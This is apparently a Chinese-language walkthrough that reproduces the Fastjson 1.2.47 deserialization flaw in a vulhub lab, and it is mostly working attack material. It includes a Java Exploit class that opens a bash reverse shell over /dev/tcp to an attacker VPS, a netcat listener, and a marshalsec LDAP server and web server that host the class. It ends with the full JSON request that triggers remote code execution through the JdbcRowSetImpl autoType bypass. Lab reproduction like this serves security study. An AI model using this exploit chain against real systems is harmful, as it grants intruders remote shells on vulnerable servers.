Fastjson-1.2.47反序列化漏洞复现
Fastjson-1.2.47反序列化漏洞复现
提前准备:
1、使用vulhub来启动环境
2、VPS1:查看Java版本
[root@clean-post-1 ~]# java -version openjdk version "1.8.0_262" OpenJDK Runtime Environment (build 1.8.0_262-b10)
3、VPS2:nc -lvvp 1111 进行监听
进一步设置:
Exploit.java文件,Exploit.class文件,marshalsec-0.0.3-SNAPSHOT-all.jar 这三个文件必须在一个文件夹里
构造恶意的CLASS文件从而REC
-
创建Exploit.java文件
public class Exploit { public Exploit(){ try{ Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/VPS2的IP/1111 0>&1"); }catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv){ Exploit e = new Exploit(); } }
-
编译成class文件,生成Exploit.class
javac Exploit.java
启动LDAP服务和WEB服务(这里我的LDAP和WEB服务都是在VPS1上启动的)
-
在启动LDAP服务前需要使用marshalsec来启动
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://VPS1的IP/#Exploit 7777
-
启动WEB服务
python2 -m http.server 80
到目前为止所有配置已经完成
最后干就完了!
-
浏览器访问docker启动的jastjson环境
http://docker环境IP:8090/
-
burp抓包修改包
`POST / HTTP/1.1
Host: docker环境IP:8090
Content-Type: application/json
Content-Length: 271{
“a”: {
“@type”: “java.lang.Class”,
“val”: “com.sun.rowset.JdbcRowSetImpl”
},
“b”:{
“@type”:“com.sun.rowset.JdbcRowSetImpl”,
“dataSourceName”:“ldap://VPS1的IP:7777/Exploit”,
“autoCommit”:true
}
}`